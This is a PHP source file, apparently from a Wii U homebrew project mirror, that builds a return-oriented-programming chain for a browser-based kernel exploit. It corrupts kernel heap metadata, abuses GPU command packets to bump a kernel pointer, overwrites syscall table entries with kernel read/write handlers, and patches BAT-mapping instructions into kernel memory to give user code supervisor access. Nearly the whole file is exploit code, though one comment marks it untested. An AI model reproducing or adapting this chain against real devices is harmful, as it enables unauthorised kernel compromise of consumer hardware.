mirror of
https://github.com/wiiu-env/ROBChain.git
synced 2024-11-16 15:59:14 +01:00
174 lines
6.9 KiB
PHP
174 lines
6.9 KiB
PHP
<?php
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function hexentities($str) {
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$return = '';
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for($i = 0; $i < strlen($str); $i += 4) {
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$return .= 'pushInt. 0x'.bin2hex(substr($str, $i, 4)). "\n";
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}
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return $return;
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}
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// Settings
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$_REQUEST['sysver'] = '550'; // Currently hardcoded.
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$generatebinrop = 1; // Make sure the $ROPCHAIN will be in binary.
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// Type 4 params
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$payload_tmp_address = 0x10C51000;
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$ROPHEAP = $payload_tmp_address - 0x1000; //+ is a BAD idea as is may override our payload
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$ropchainselect = 99; // Own ROPChain.
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require_once("../wiiuhaxx_common/wiiu_browserhax_common.php");
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echo file_get_contents('rop_setup.s');
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//Untested
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function generateROPChain(){
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$drvhax_addr = 0x105F31A4; // Some free space in memmory size: 0x4C
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$KERN_SYSCALL_TBL_1 = 0xFFE84C70;
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$KERN_SYSCALL_TBL_2 = 0xFFE85070;
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$KERN_SYSCALL_TBL_3 = 0xFFE85470;
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$KERN_SYSCALL_TBL_4 = 0xFFEAAA60;
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$KERN_SYSCALL_TBL_5 = 0xFFEAAE60;
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$metadata_addr = 0x1F200014; // Create kernel heap block. We manipulate the kernel heap to use THIS
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// Set the kernel heap metadata entry
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ropgen_writeword_tomem($drvhax_addr, $metadata_addr);
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ropgen_writeword_tomem(0xFFFFFFB4, $metadata_addr +4);
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ropgen_writeword_tomem(0xFFFFFFFF, $metadata_addr +8);
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ropgen_writeword_tomem(0xFFFFFFFF, $metadata_addr +12);
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//Build PM4 packet.
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$pm4_addr = 0x10C51000;
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ropgen_writeword_tomem(0xC0013900, $pm4_addr); $pm4_addr += 4; //PACKET3_MEM_SEMAPHORE
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ropgen_writeword_tomem(0x1B800008, $pm4_addr); $pm4_addr += 4; //ADDR_LO = target
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ropgen_writeword_tomem(0xC0000000, $pm4_addr); $pm4_addr += 4; //SEL semaphore signal
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ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
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ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
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ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
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ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
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ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
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ropgen_DCFlushRange($pm4_addr, 0x20);
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// Need to be called from the right core (we gx2 init was called, core1?)
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ropgen_GX2DirectCallDisplayList($pm4_addr, 8 * 0x04); // increment value of kpaddr by 0x01000000
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ropgen_GX2DirectCallDisplayList($pm4_addr, 8 * 0x04); // increment value of kpaddr by 0x01000000
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ropgen_GX2Flush();
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ropgen_display_u32(0);
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$drvname_addr = 0x105DC1D8;
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// create a string "drvhax" in memoyr
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ropgen_writeword_tomem(0x44525648 , $drvname_addr);
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ropgen_writeword_tomem(0x41580000, $drvname_addr +4);
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//register it
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ropgen_Register($drvname_addr, 6, 0, 0);
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// create src buffer
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$syscalls_addr = 0x105DC1E0;
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ropgen_writeword_tomem(0xFFF023D4 , $syscalls_addr); // KERN_CODE_READ
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ropgen_writeword_tomem(0xFFF023F4 , $syscalls_addr + 0x4); // KERN_CODE_WRITE
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// Copy content of syscalls_addr to syscall tables
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ropgen_writeword_tomem($KERN_SYSCALL_TBL_1 + (0x34 * 4),$drvhax_addr + 0x44);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
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ropgen_writeword_tomem($KERN_SYSCALL_TBL_2 + (0x34 * 4),$drvhax_addr + 0x44);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
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ropgen_writeword_tomem($KERN_SYSCALL_TBL_3 + (0x34 * 4),$drvhax_addr + 0x44);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
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ropgen_writeword_tomem($KERN_SYSCALL_TBL_4 + (0x34 * 4),$drvhax_addr + 0x44);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
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ropgen_writeword_tomem($KERN_SYSCALL_TBL_5 + (0x34 * 4),$drvhax_addr + 0x44);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
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// Place a function to set the IBAT0 inside free kernel space.
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$setIBAT0Addr = 0xFFF02344;
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$curAddr = $setIBAT0Addr;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x7C0006AC,$syscalls_addr);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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$curAddr +=4;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x4C00012C,$syscalls_addr);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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$curAddr +=4;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x7C7083A6,$syscalls_addr);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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$curAddr +=4;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x7C9183A6,$syscalls_addr);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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$curAddr +=4;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x7C0006AC,$syscalls_addr);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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$curAddr +=4;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x4C00012C,$syscalls_addr);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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$curAddr +=4;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x4E800020,$syscalls_addr);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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$curAddr +=4;
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//Save address in src buffer
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ropgen_writeword_tomem($setIBAT0Addr,$syscalls_addr);
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// setup syscall table, register it as syscall 0x7A. needs to be restored later
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ropgen_writeword_tomem($KERN_SYSCALL_TBL_2 + (0x7A * 4),$drvhax_addr + 0x44);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 4);
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$ROP_callSC0x7A = 0x01022388; // Set exception callback. Calls syscall 0x7A
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// Rop for calling syscall, set IBAT0
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// We need to give the access to our memory.
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// VA: 01000000..01800000 PA: 32000000..32800000 with r/w for user and supervisor
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ropgen_callfunc($ROP_callSC0x7A, 0x010000FF, 0x32000012, 0x0, 0x0, 0x0);
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// Setup DBAT
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//reuse ibat code, but exchange the ibat to dbat commands
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$curAddr = $setIBAT0Addr + 8;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x7C7983A6,$syscalls_addr); //mtdbatl,3,5
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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$curAddr +=4;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x7C7883A6,$syscalls_addr); //mtdbath,3,5
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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// set dbat
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ropgen_callfunc($ROP_callSC0x7A, 0x010000FF, 0x32000012, 0x0, 0x0, 0x0);
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// print value to see if everything worked so far.
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ropgen_display_u32(0);
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// Copy a payload to 0x011DD000, call it!
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// Tasks in payload:
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// - install kernel copy data
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// - restore syscall 0x7A
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// - restore kernel heap when we have proper code execution.
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// - (install main hook and switch to miimaker)
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}
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generateROPChain();
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echo hexentities($ROPCHAIN);
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?>
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